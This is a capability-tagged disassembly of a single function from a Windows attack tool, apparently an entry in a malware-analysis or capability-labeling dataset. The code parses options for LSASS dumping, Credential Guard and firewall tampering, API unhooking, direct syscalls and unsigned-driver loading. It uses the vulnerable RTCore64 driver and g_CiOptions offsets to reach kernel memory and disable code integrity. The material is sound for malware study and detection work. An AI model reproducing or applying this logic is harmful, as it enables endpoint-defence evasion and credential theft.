Function at 0x1400011d0
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Create thread
Delete file
Disable driver code integrity
Get common file path
Get file attributes
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x43f0]
mov eax, 0x44f0
call fcn.140020ca0
sub rsp, rax
mov rax, qword [0x14003a018]
xor rax, rsp
mov qword [rbp + 0x43e0], rax
mov r14, rdx
mov qword [rbp - 0x70], rdx
mov esi, ecx
xor edx, edx
lea rcx, [rbp + 0x1360]
mov r8d, 0x208
call fcn.14000c2a0
lea rdx, [rbp + 0x1360]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, 1
cmp esi, 2
jl 0x14000178c
xor edx, edx
lea rcx, [rbp + 0x1780]
mov r8d, 0x208
lea r12d, [rax + 5]
call fcn.14000c2a0
xor edx, edx
lea rcx, [rbp + 0x1db0]
mov r8d, 0x208
call fcn.14000c2a0
movups xmm0, xmmword [str.RTCore64.sys]
movzx eax, word [0x14002af20]
lea rcx, [rbp + 0x1570]
movsd xmm1, qword [0x14002af18]
xor edx, edx
movups xmmword [rbp + 0x1130], xmm0
mov word [rbp + 0x1148], ax
mov r8d, 0x208
movups xmm0, xmmword [str.evil.sys]
movzx eax, word [0x14002af38]
movsd qword [rbp + 0x1140], xmm1
movups xmmword [rbp + 0x1118], xmm0
mov word [rbp + 0x1128], ax
call fcn.14000c2a0
xor edx, edx
lea rcx, [rbp + 0x1ba0]
mov r8d, 0x208
call fcn.14000c2a0
xor edx, edx
lea rcx, [rbp + 0x1990]
mov r8d, 0x208
call fcn.14000c2a0
movups xmm0, xmmword [str.lsass.exe]
mov eax, dword [0x14002af50]
lea rcx, [rbp + 0x1150]
xor edx, edx
mov dword [rbp + 0x10e8], eax
mov r8d, 0x208
movups xmmword [rbp + 0x10d8], xmm0
call fcn.14000c2a0
xor edx, edx
mov r8d, 1
mov dword [rsp + 0x5c], r8d
mov r13d, edx
mov dword [rsp + 0x68], r8d
mov edi, r8d
mov dword [rsp + 0x50], edx
lea r15, [r8 - 2]
mov dword [rbp - 0x30], edx
mov dword [rbp - 0x78], r8d
mov dword [rsp + 0x70], edx
mov dword [rsp + 0x54], edx
mov dword [rbp - 0x38], edx
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x78], edx
mov dword [rsp + 0x58], edx
mov dword [rbp - 0x80], edx
nop dword [rax + rax]
movsxd rax, edi
lea rdx, str.dump
mov rcx, qword [r14 + rax*8]
lea rbx, [r14 + rax*8]
call fcn.14000d528
test eax, eax
jne 0x140001393
xor r12d, r12d
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, [0x14002af68]
call fcn.14000d528
test eax, eax
jne 0x1400013af
lea r12d, [rax + 1]
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.credguard
call fcn.14000d528
test eax, eax
jne 0x1400013cb
lea r12d, [rax + 2]
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.audit
call fcn.14000d528
test eax, eax
jne 0x1400013e7
lea r12d, [rax + 3]
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.firewall
call fcn.14000d528
test eax, eax
jne 0x140001403
lea r12d, [rax + 4]
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.load_unsigned_driver
call fcn.14000d528
test eax, eax
jne 0x14000141f
lea r12d, [rax + 5]
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, [0x14002afdc]
call fcn.14000d528
test eax, eax
je 0x140002dcd
mov rcx, qword [rbx]
lea rdx, str.__help
call fcn.14000d528
test eax, eax
je 0x140002dcd
mov rcx, qword [rbx]
lea rdx, [0x14002aff8]
call fcn.14000d528
test eax, eax
je 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__verbose
call fcn.14000d528
test eax, eax
je 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__usermode
call fcn.14000d528
test eax, eax
jne 0x14000149e
mov eax, 1
mov ebx, eax
mov dword [rsp + 0x50], eax
jmp 0x14000187f
mov rcx, qword [rbx]
lea rdx, str.__kernelmode
call fcn.14000d528
test eax, eax
jne 0x1400014be
mov dword [rsp + 0x54], 1
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__dont_unload_driver
call fcn.14000d528
test eax, eax
jne 0x1400014db
mov dword [rsp + 0x5c], r13d
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__no_restore
call fcn.14000d528
test eax, eax
jne 0x1400014f8
mov dword [rsp + 0x68], r13d
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__vuln_driver
call fcn.14000d528
test eax, eax
je 0x140001846
mov rcx, qword [rbx]
lea rdx, str.__driver
call fcn.14000d528
test eax, eax
je 0x140001846
mov rcx, qword [rbx]
lea rdx, str.__unsigned_driver
call fcn.14000d528
test eax, eax
jne 0x140001566
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001550
lea rcx, [rbp + 0x1db0]
jmp 0x140001871
mov rcx, qword [rbx]
lea rdx, str.__vuln_service
call fcn.14000d528
test eax, eax
je 0x140001813
mov rcx, qword [rbx]
lea rdx, str.__service
call fcn.14000d528
test eax, eax
je 0x140001813
mov rcx, qword [rbx]
lea rdx, str.__unsigned_service
call fcn.14000d528
test eax, eax
jne 0x1400015dd
inc edi
cmp edi, esi
jg 0x140001787
mov rcx, qword [0x14003e208]
movsxd rax, edi
mov rbx, qword [r14 + rax*8]
test rcx, rcx
je 0x1400015c9
call fcn.14000e90c
mov rcx, rbx
call fcn.14000d698
mov qword [0x14003e208], rax
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__nt_offsets
call fcn.14000d528
test eax, eax
jne 0x14000161a
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001604
lea rcx, [rbp + 0x1570]
jmp 0x140001871
mov rcx, qword [rbx]
lea rdx, str.__wdigest_offsets
call fcn.14000d528
test eax, eax
jne 0x140001657
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001641
lea rcx, [rbp + 0x1ba0]
jmp 0x140001871
mov rcx, qword [rbx]
lea rdx, str.__ci_offsets
call fcn.14000d528
test eax, eax
jne 0x140001696
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
nop
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001680
lea rcx, [rbp + 0x1990]
jmp 0x140001871
mov rcx, qword [rbx]
lea rdx, [0x14002b1c4]
call fcn.14000d528
test eax, eax
je 0x1400017ee
mov rcx, qword [rbx]
lea rdx, str.__dump_output
call fcn.14000d528
test eax, eax
je 0x1400017ee
mov rcx, qword [rbx]
lea rdx, str.__process_name
call fcn.14000d528
test eax, eax
jne 0x14000170b
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400016f0
mov edx, 0xa
lea rcx, [rbp + 0x10d8]
jmp 0x140001876
mov rcx, qword [rbx]
lea rdx, str.__unhook_method
call fcn.14000d528
test eax, eax
jne 0x140001738
inc edi
cmp edi, esi
jg 0x140001787
movsxd rcx, edi
mov rcx, qword [r14 + rcx*8]
call fcn.14000e54c
mov dword [rbp - 0x78], eax
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__direct_syscalls
call fcn.14000d528
test eax, eax
jne 0x140001758
mov dword [rsp + 0x70], 1
jmp 0x14000187b
mov rcx, qword [rbx]
lea rdx, str.__add_dll
call fcn.14000d528
test eax, eax
jne 0x1400017bc
inc edi
cmp edi, esi
jg 0x140001787
movsxd rcx, edi
mov rcx, qword [r14 + rcx*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, r15
jne 0x14000187b
mov eax, 1
mov rcx, qword [rbp + 0x43e0]
xor rcx, rsp
call fcn.14000b000
lea r11, [rsp + 0x44f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rbx]
lea rdx, [0x14002b26c]
call fcn.14000d528
test eax, eax
je 0x1400017e2
mov rcx, qword [rbx]
lea rdx, str.__internet
call fcn.14000d528
test eax, eax
jne 0x140001787
mov dword [rbp - 0x30], 1
jmp 0x14000187b
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
nop
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001800
lea rcx, [rbp + 0x1150]
jmp 0x140001871
inc edi
cmp edi, esi
jg 0x140001787
mov rcx, qword [0x14003e200]
movsxd rax, edi
mov rbx, qword [r14 + rax*8]
test rcx, rcx
je 0x140001835
call fcn.14000e90c
mov rcx, rbx
call fcn.14000d698
mov qword [0x14003e200], rax
jmp 0x14000187b
inc edi
cmp edi, esi
jg 0x140001787
movsxd rax, edi
mov r9, r15
mov r8, qword [r14 + rax*8]
nop word [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001860
lea rcx, [rbp + 0x1780]
mov edx, 0x104
call fcn.14000e920
mov ebx, dword [rsp + 0x50]
inc edi
cmp edi, esi
jl 0x140001370
call section..text
test eax, eax
je 0x14000189a
xor esi, esi
mov dword [rsp + 0x5c], esi
jmp 0x1400018b0
xor ecx, ecx
call fcn.14000e89c
mov rcx, rax
call fcn.14000d434
call fcn.14000d408
xor esi, esi
cmp r12d, 6
je 0x140001787
mov edi, dword [rsp + 0x54]
cmp r12d, 1
jne 0x1400018cc
test edi, edi
je 0x140001787
mov r14d, 1
test ebx, ebx
jne 0x1400018dc
test edi, edi
cmove ebx, r14d
cmp r12d, 5
jne 0x1400018ea
test edi, edi
je 0x140001787
test ebx, ebx
je 0x14000192a
call fcn.140005230
mov rbx, rax
cmp r12d, 3
je 0x14000192a
cmp dword [rbp - 0x78], r13d
je 0x14000192a
cmp qword [rax], r13
je 0x14000192a
mov r13d, dword [rbp - 0x78]
nop dword [rax + rax]
mov edx, r13d
mov rcx, rbx
call fcn.140004ae0
add rbx, 0x20
cmp qword [rbx], 0
jne 0x140001910
mov r13, qword [rsp + 0x60]
test edi, edi
je 0x140001f96
lea rcx, [rbp + 0x1780]
mov rax, r15
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001940
test rax, rax
jne 0x140001977
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x1780]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x1780]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x1780]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001787
test al, 0x10
jne 0x140001787
lea rcx, [rbp + 0x1570]
mov rax, r15
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400019a0
test rax, rax
jne 0x140001a03
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea rdx, [rbp + 0x1360]
movups xmm1, xmmword [0x14002b2a0]
lea rcx, [rbp + 0x1570]
movups xmmword [rbp + 0x10f0], xmm0
movsd xmm0, qword [0x14002b2b0]
movsd qword [rbp + 0x1110], xmm0
movups xmmword [rbp + 0x1100], xmm1
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x10f0]
lea rcx, [rbp + 0x1570]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x1570]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001a25
test al, 0x10
jne 0x140001a25
lea rcx, [rbp + 0x1570]
call fcn.1400064a0
cmp dword [rbp - 0x30], 0
je 0x140001b78
cmp qword [0x14003c1e0], 0
je 0x140001a6f
cmp qword [0x14003c1e8], 0
je 0x140001a6f
cmp qword [0x14003c1f0], 0
je 0x140001a6f
cmp qword [0x14003c218], 0
je 0x140001a6f
cmp qword [0x14003c220], 0
je 0x140001a6f
cmp qword [0x14003c228], 0
jne 0x140001b78
call fcn.140006650
cmp qword [0x14003c1e0], 0
je 0x140001787
cmp qword [0x14003c1e8], 0
je 0x140001b78
cmp qword [0x14003c1f0], 0
je 0x140001b78
cmp qword [0x14003c218], 0
je 0x140001b78
cmp qword [0x14003c220], 0
je 0x140001b78
cmp qword [0x14003c228], 0
je 0x140001b78
lea rcx, [rbp + 0x1570]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001b78
test al, 0x10
jne 0x140001b78
call fcn.140006a60
lea r8, [0x14002d540]
mov qword [rsp + 0x78], rsi
lea rdx, [rbp + 0x1570]
mov rbx, rax
lea rcx, [rsp + 0x78]
call fcn.1400112e0
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140001b78
mov r8, rbx
lea rdx, [0x14002d544]
call fcn.140004580
lea rbx, [0x14003c1e0]
lea rdi, [0x14003c230]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x78]
call fcn.140004580
add rbx, 8
cmp rbx, rdi
jl 0x140001b40
mov rdx, qword [rsp + 0x78]
lea rcx, [0x14002d55c]
call fcn.140011540
mov rcx, qword [rsp + 0x78]
call fcn.1400113bc
cmp qword [0x14003c1e0], 0
je 0x140001787
cmp qword [0x14003c1e8], 0
je 0x140001787
cmp qword [0x14003c1f0], 0
je 0x140001787
cmp qword [0x14003c218], 0
je 0x140001787
cmp qword [0x14003c220], 0
je 0x140001787
cmp qword [0x14003c228], 0
je 0x140001787
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x78], rsi
lea rcx, [rbp + 0x1780]
call fcn.140002e00
test eax, eax
je 0x140001c0d
mov rcx, qword [0x14003e200]
test rcx, rcx
je 0x140001bf7
call fcn.14000e90c
mov rcx, qword [rsp + 0x78]
call fcn.14000d698
mov qword [0x14003e200], rax
jmp 0x140001d7d
mov rbx, qword [0x14003e200]
test rbx, rbx
je 0x140001c2f
mov rax, r15
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140001c20
test rax, rax
jne 0x140001c5d
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000d400
mov rbx, rax
test rax, rax
jne 0x140001c49
mov rbx, rsi
jmp 0x140001c56
mov edx, 8
mov rcx, rax
call fcn.140008130
mov qword [0x14003e200], rbx
lea r8, [rbp + 0x1780]
mov rdx, rbx
mov rcx, rbx
call fcn.140007cb0
test eax, eax
je 0x140001d72
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x14003aa60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14003e200]
mov qword [0x14003aa60], r15
test rbx, rbx
je 0x140001cb4
mov rax, r15
inc rax
cmp word [rbx + rax*2], 0
jne 0x140001ca5
test rax, rax
jne 0x140001ce2
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000d400
mov rbx, rax
test rax, rax
jne 0x140001cce
mov rbx, rsi
jmp 0x140001cdb
mov edx, 8
mov rcx, rax
call fcn.140008130
mov qword [0x14003e200], rbx
xor edx, edx
mov rcx, rbx
call fcn.140007f90
mov ecx, 0x7d0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x140001e6e
mov rbx, qword [0x14003e200]
test rbx, rbx
je 0x140001d1f
mov rax, r15
inc rax
cmp word [rbx + rax*2], 0
jne 0x140001d10
test rax, rax
jne 0x140001d4d
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000d400
mov rbx, rax
test rax, rax
jne 0x140001d39
mov rbx, rsi
jmp 0x140001d46
mov edx, 8
mov rcx, rax
call fcn.140008130
mov qword [0x14003e200], rbx
lea r8, [rbp + 0x1780]
mov rdx, rbx
mov rcx, rbx
call fcn.140007cb0
test eax, eax
jne 0x140001e6e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x3808
mov ecx, 1
call fcn.14000d400
mov r13, rax
test rax, rax
je 0x140001787
mov rdx, rax
xor ecx, ecx
call fcn.1400073d0
mov rdx, r13
mov ecx, 1
mov ebx, eax
call fcn.1400073d0
mov rdx, r13
mov ecx, 2
or ebx, eax
call fcn.1400073d0
mov edi, eax
mov rcx, r13
or edi, ebx
mov dword [rsp + 0x58], edi
call fcn.140006b10
mov rcx, qword [0x14003c200]
test edi, edi
mov r14d, esi
mov dword [rbp - 0x80], eax
sete r14b
mov ebx, eax
test eax, eax
cmovne r14d, esi
test rcx, rcx
je 0x140001fa0
cmp qword [0x14003c208], 0
je 0x140001fa0
cmp qword [0x14003c210], 0
je 0x140001fa0
call fcn.1400097d0
mov rcx, qword [0x14003c208]
add rcx, rax
call fcn.140009620
mov rsi, qword [0x14003c210]
add rsi, rax
je 0x140001f92
lea rdi, [rbp - 0x34]
mov ebx, 1
xor ecx, ecx
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x68], rcx
xorps xmm0, xmm0
mov dword [rbp - 0x58], ecx
movabs rdx, 0xffff800000000000
mov dword [rbp - 0x3c], ecx
movdqu xmmword [rbp - 0x4c], xmm0
cmp rbx, 4
jb 0x140001e7e
mov dword [rbp - 0x50], 4
jmp 0x140001e8a
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001787
cmp rbx, 2
sbb eax, eax
add eax, 2
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x54], ecx
cmp rsi, rdx
jb 0x140002ddf
mov rax, qword [0x14003aa60]
cmp rax, r15
jne 0x140001f09
movups xmm0, xmmword [str..RTCore64]
xor r9d, r9d
movzx eax, word [0x14002b3a8]
movsd xmm1, qword [0x14002b3a0]
xor r8d, r8d
mov qword [rsp + 0x30], rcx
mov edx, 0xc0000000
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x10f0]
movups xmmword [rbp + 0x10f0], xmm0
mov word [rbp + 0x1108], ax
movsd qword [rbp + 0x1100], xmm1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, r15
je 0x140002dd4
mov qword [0x14003aa60], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
lea r8, [rbp - 0x68]
lea rcx, [rsp + 0x78]
mov r9d, 0x30
mov qword [rsp + 0x30], rcx
mov edx, 0x80002048
lea rcx, [rbp - 0x68]
mov dword [rsp + 0x28], 0x30
mov qword [rsp + 0x20], rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp - 0x50]
add rsi, rax
cmp rbx, 4
jb 0x140001f54
mov eax, dword [rbp - 0x4c]
mov dword [rdi], eax
jmp 0x140001f69
cmp rbx, 2
jb 0x140001f63
movzx eax, word [rbp - 0x4c]
mov word [rdi], ax
jmp 0x140001f69
movzx eax, byte [rbp - 0x4c]
mov byte [rdi], al
mov eax, dword [rbp - 0x50]
add rdi, rax
sub rbx, rax
jne 0x140001e3d
mov edi, dword [rsp + 0x58]
xor ecx, ecx
cmp byte [rbp - 0x34], 1
mov esi, ecx
mov ebx, dword [rbp - 0x80]
sete sil
jne 0x140001fa2
mov r14d, ecx
jmp 0x140001fa2
xor esi, esi
jmp 0x140001fa0
mov edi, dword [rsp + 0x58]
mov ebx, edi
mov esi, dword [rsp + 0x78]
xor ecx, ecx
cmp r12d, 3
je 0x140002d3d
test r14d, r14d
je 0x140002b15
test r12d, r12d
je 0x140002912
sub r12d, 1
je 0x140002897
sub r12d, 1
je 0x14000247a
sub r12d, 2
je 0x140002466
cmp r12d, 1
jne 0x140002d3d
lea rcx, [rbp + 0x1990]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001ff0
test rax, rax
jne 0x140002071
mov eax, dword [0x14002b310]
lea r8, [rbp + 0x1360]
movups xmm0, xmmword [str.CiOffsets.csv]
lea rcx, [rbp + 0x1990]
mov dword [rbp + 0x10c8], eax
movsd xmm1, qword [0x14002b308]
mov r9d, 0x104
movzx eax, word [0x14002b314]
mov edx, r9d
movups xmmword [rbp + 0x10b0], xmm0
mov word [rbp + 0x10cc], ax
movsd qword [rbp + 0x10c0], xmm1
call fcn.14000e578
mov r9d, 0xf
lea r8, [rbp + 0x10b0]
mov edx, 0x104
lea rcx, [rbp + 0x1990]
call fcn.14000e578
lea rcx, [rbp + 0x1990]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002197
test al, 0x10
jne 0x140002197
call fcn.140007c00
xor r14d, r14d
lea r8, [0x14002d538]
lea rdx, [rbp + 0x1990]
mov qword [rbp - 0x78], r14
lea rcx, [rbp - 0x78]
mov rbx, rax
call fcn.1400112e0
mov r8, qword [rbp - 0x78]
test r8, r8
je 0x14000219a
mov edx, 0x800
lea rcx, [rbp + 0x23e0]
call fcn.140011758
test rax, rax
je 0x14000218c
nop dword [rax]
lea rcx, [rbp + 0x23e0]
call fcn.14000d698
lea r8, [rsp + 0x68]
mov qword [rsp + 0x68], r14
lea rdx, [0x14002d53c]
mov rcx, rax
call fcn.140011658
mov r8, rax
lea rcx, [rbp + 0x50]
mov edx, pe_nt_image_headers64
call fcn.14000e678
lea r8, [rbp + 0x50]
mov rax, rbx
sub r8, rbx
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002134
add rax, 2
test ecx, ecx
jne 0x140002120
test edx, edx
je 0x140002160
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x23e0]
mov edx, 0x800
call fcn.140011758
test rax, rax
jne 0x1400020e0
mov rcx, qword [rbp - 0x78]
call fcn.1400113bc
jmp 0x14000219a
lea r8, [rsp + 0x68]
xor ecx, ecx
lea rdx, [0x14002d53c]
call fcn.140011658
mov rcx, rax
lea rdx, [rbp - 0x70]
mov r8d, 0x10
call fcn.14001144c
mov qword [0x14003bfd8], rax
mov rcx, qword [rbp - 0x78]
call fcn.1400113bc
jmp 0x14000219a
xor r14d, r14d
cmp dword [rbp - 0x30], 0
je 0x14000232c
cmp qword [0x14003bfd8], 0
jne 0x14000233a
call fcn.140007b50
mov rcx, rax
call fcn.140003630
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140007890
mov rcx, rax
mov rdi, rax
call fcn.140008600
mov rcx, qword [rdi + 0x70]
mov rbx, rax
test rcx, rcx
je 0x1400021ec
call fcn.14000e90c
mov qword [rdi + 0x70], r14
mov rcx, rdi
call fcn.14000e90c
mov rcx, rsi
call fcn.14000e90c
test rbx, rbx
je 0x140002297
xor edx, edx
lea rcx, [rbp + 0x880]
mov r8d, 0x830
call fcn.14000c2a0
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x880]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_CiOptions
mov dword [rbp + 0x880], 0x58
mov dword [rbp + 0x8d0], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rdx, qword [rbx + 8]
test eax, eax
je 0x14000225d
mov rax, qword [rbp + 0x8b8]
sub rax, rdx
jmp 0x140002260
mov rax, r14
mov rcx, qword [rbx + 0x10]
mov qword [0x14003bfd8], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbx]
call fcn.14000e90c
mov rcx, rbx
mov qword [rbx], r14
call fcn.14000e90c
cmp qword [0x14003bfd8], 0
je 0x140002aad
lea rcx, [rbp + 0x1990]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000232c
test al, 0x10
jne 0x14000232c
call fcn.140007c00
lea r8, [0x14002d540]
mov qword [rsp + 0x68], r14
lea rdx, [rbp + 0x1990]
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.1400112e0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000232c
mov r8, rbx
lea rdx, [0x14002d544]
call fcn.140004580
mov r8, qword [0x14003bfd8]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x68]
call fcn.140004580
mov rdx, qword [rsp + 0x68]
lea rcx, [0x14002d9dc]
call fcn.140011540
mov rcx, qword [rsp + 0x68]
call fcn.1400113bc
cmp qword [0x14003bfd8], 0
je 0x140002aad
cmp dword [rsp + 0x54], 0
je 0x140002dc5
xor r9d, r9d
mov qword [rbp - 0x30], 8
lea rdx, [rbp - 0x30]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov eax, dword [rbp - 0x2c]
and al, 3
cmp al, 1
jne 0x140002d47
call fcn.140009270
test rax, rax
je 0x140002d47
mov rbx, qword [0x14003bfd8]
lea rcx, [rbp + 0x1db0]
add rbx, rax
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002391
test rax, rax
jne 0x1400023c8
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x1db0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x1118]
lea rcx, [rbp + 0x1db0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x1db0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001787
test al, 0x10
jne 0x140001787
mov rcx, rbx
call fcn.140009470
xor edx, edx
mov rcx, rbx
mov edi, eax
call fcn.140009b30
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], r14
lea rcx, [rbp + 0x1db0]
call fcn.140002e00
test eax, eax
je 0x140002438
mov rcx, qword [0x14003e208]
test rcx, rcx
je 0x140002425
call fcn.14000e90c
mov rcx, qword [rsp + 0x70]
call fcn.14000d698
mov qword [0x14003e208], rax
jmp 0x14000244f
call fcn.1400030f0
lea r8, [rbp + 0x1db0]
mov rdx, rax
mov rcx, rax
call fcn.140007cb0
mov rcx, rbx
call fcn.140009470
mov edx, edi
mov rcx, rbx
call fcn.140009b30
jmp 0x140002d47
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x60]
call fcn.140006260
jmp 0x140002d3d
lea rcx, [rbp + 0x1ba0]
mov rax, r15
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002484
test rax, rax
jne 0x1400024f9
movups xmm0, xmmword [0x14002b2d0]
mov r9d, 0x104
lea r8, [rbp + 0x1360]
movups xmm1, xmmword [0x14002b2e0]
mov edx, r9d
lea rcx, [rbp + 0x1ba0]
movups xmmword [rbp + 0x10b0], xmm0
movsd xmm0, qword [0x14002b2f0]
movsd qword [rbp + 0x10d0], xmm0
movups xmmword [rbp + 0x10c0], xmm1
call fcn.14000e578
mov r9d, 0x14
lea r8, [rbp + 0x10b0]
mov edx, 0x104
lea rcx, [rbp + 0x1ba0]
call fcn.14000e578
lea rcx, [rbp + 0x1ba0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rbx, [0x14003bdc0]
lea r12, [0x14003bdd0]
cmp eax, 0xffffffff
je 0x14000263c
test al, 0x10
jne 0x14000263c
call fcn.1400046e0
xor r13d, r13d
lea r8, [0x14002d538]
lea rdx, [rbp + 0x1ba0]
mov qword [rbp - 0x80], r13
lea rcx, [rbp - 0x80]
mov rdi, rax
call fcn.1400112e0
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x14000263f
mov edx, 0x800
lea rcx, [rbp + 0x33e0]
call fcn.140011758
test rax, rax
je 0x140002631
lea rcx, [rbp + 0x33e0]
call fcn.14000d698
lea r8, [rsp + 0x68]
mov qword [rsp + 0x68], r13
lea rdx, [0x14002d53c]
mov rcx, rax
call fcn.140011658
mov r8, rax
lea rcx, [rbp + 0x880]
mov edx, pe_nt_image_headers64
call fcn.14000e678
lea r8, [rbp + 0x880]
mov rax, rdi
sub r8, rdi
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400025d4
add rax, 2
test ecx, ecx
jne 0x1400025c0
test edx, edx
je 0x1400025fd
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x33e0]
mov edx, 0x800
call fcn.140011758
test rax, rax
jne 0x140002572
mov rcx, qword [rbp - 0x80]
call fcn.1400113bc
jmp 0x14000263f
mov rdi, rbx
lea r8, [rsp + 0x68]
xor ecx, ecx
lea rdx, [0x14002d53c]
call fcn.140011658
mov rcx, rax
lea rdx, [rbp - 0x70]
mov r8d, 0x10
call fcn.14001144c
mov qword [rdi], rax
add rdi, 8
cmp rdi, r12
jl 0x140002600
mov rcx, qword [rbp - 0x80]
call fcn.1400113bc
jmp 0x14000263f
xor r13d, r13d
cmp dword [rbp - 0x30], 0
je 0x140002848
cmp qword [0x14003bdc0], 0
je 0x140002661
cmp qword [0x14003bdc8], 0
jne 0x140002848
call fcn.140004630
mov rcx, rax
call fcn.140003630
xor edx, edx
